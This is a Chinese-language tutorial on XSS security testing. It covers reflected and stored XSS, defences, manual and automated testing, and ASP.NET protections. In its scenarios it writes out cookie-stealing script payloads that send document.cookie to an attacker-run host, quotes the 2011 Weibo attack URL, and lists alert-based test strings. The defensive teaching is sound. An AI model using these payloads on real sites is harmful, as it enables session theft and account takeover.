zoukankan      html  css  js  c++  java
  • WEB安全测试之XSS攻击

    目录结构

    1、背景知识

    2、XSS漏洞的分类

    3、XSS防御

    4、如何测试XSS漏洞

    5、HTML Encode

    6、浏览器中的XSS过滤器

    7、ASP.NET中的XSS安全机制

    一、背景知识

    1、什么是XSS攻击?

    XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者在网页中嵌入恶意代码(例如JavaScript),当其它用户浏览该网站时,这段代码会自动执行,从而达到攻击的目的。比如这些代码包括HTML代码和客户端脚本。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的"缓冲区溢出攻击",而JavaScript是新型的"ShellCode"。

    XSS并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。

    2、XSS攻击的危害:

    盗取用户 Cookie、破坏页面结构、导航到恶意网站、获取浏览器信息、携带木马等。

    二、XSS漏洞的分类

      XSS漏洞按照攻击利用手法的不同,有以下三种类型:
      XSS攻击类似于SQL注 入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于 script。
     
    1、DOM Based XSS
    DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人
    场景一:
    当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
    <%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
    <!DOCTYPEhtmlPUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <title>XSS测试</title>
    </head>
    <body>
    页面内容:<%=request.getParameter("content")%>
    </body>
    </html>

    我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址 为:http://www.a.com?content=<script> window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链 接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我 搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中, 受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script& gt;,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

    2、Stored XSS
    Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,,比如发布一篇文章包含恶意代码,其他用户浏览时将执行恶意脚本,所以受害者是很多人
    场景二:
    a.com可以发文章, 我登录后在a.com中发布了一篇文章,文章中包含了恶意代 码,<script>window.open(“www.b.com?param=”+document.cookie)< /script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务 器上,攻击成功!这个过程中,受害者是多个人。
    Stored XSS漏洞危害性更大,危害面更广。
     
    3、攻击事例
    2011年新浪微博的XSS攻击就是存储式XSS漏洞攻击,主要是通过未过滤处理的URL中的参数来加载攻击者已写好的脚本,并且使用短链服务将URL伪装,然后通过诱人的话题欺骗用户访问该链接后在浏览器运行,达到攻击的目的。如将http://163.fm/PxZHoxn指向
      http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。所以我们应该严防短链接。
     
     
    三、XSS防御
    我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。
     
    XSS 漏洞修复
      原则: 不相信客户输入的数据
      注意:  攻击代码不一定在<script></script>中
      将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
         需要对用户的输入进行处理,只允许用户输入我们期望的数据,其它值一概过滤掉。例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
      对数据进行Html Encode 处理
      过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
      过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
     
    XSS具体的防御有如下方式:
    1. 输入校验
      对 用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”、双引号等可能导致脚本注入的特殊字符,或者过滤“script”、 “javascript”等脚本关键字,或者对输入数据的长度及格式进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码如 “<</span>”(“<”)、“>”(“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。
    2. 输出编码
       通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的 HTML代 码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些 HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
    3. 严防外部的Javascript
      外部的Javascript一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
     
    四、如何测试XSS漏洞
      方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量
    <%
    strUserCode =  Request.QueryString(“code”);
    strUser =  Request.Form(“USER”);
    strID =    Request.Cookies(“ID”);
    %>
    假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
     
      方法二: 准备测试脚本
    "/><script>alert(document.cookie)</script><!--
    <script>alert(document.cookie)</script><!--
    "onclick="alert(document.cookie)
    在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
    在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行
     
      方法三:  自动化测试XSS漏洞
      现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。
     
    五、HTML Encode
    XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
    在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
     
    Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
     
    六、浏览器中的XSS过滤器
    为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 
    如果需要做测试, 最好使用IE7
     
    Chrome可以过滤反射型XSS,原因是webkit的一个模块,而非chrome,所以Safari和360安全浏览器极速模式等webkit内核的浏览器都有XSS过滤功能.
     
    七、ASP.NET中的XSS安全机制
    ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
    很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。
    如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>
  • 相关阅读:
    G450 Ubuntu14 无线网卡解决
    USB设备不能用。提示Windows 无法启动这个硬件设备。 (代码 19)
    帮你选处理器:CPU T9500-p9500-T9400-T9300-p8700对比分析!
    全球各大运营商黑莓ROM官网下载链接汇总
    查看80端口被占用的方法(IIS、apmserv、system)
    Windows 2003 服务器安全设置-批处理 (附参考链接)
    解决Windows时间同步失败问题!系统时间同步设置!
    WinHTTP Web Proxy Auto-Discovery Service
    关于“未使用GUID分区表”无法安装的解决方案
    DataGridView使用技巧六:冻结列或行
  • 原文地址:https://www.cnblogs.com/yangxia-test/p/4110100.html
Copyright © 2011-2022 走看看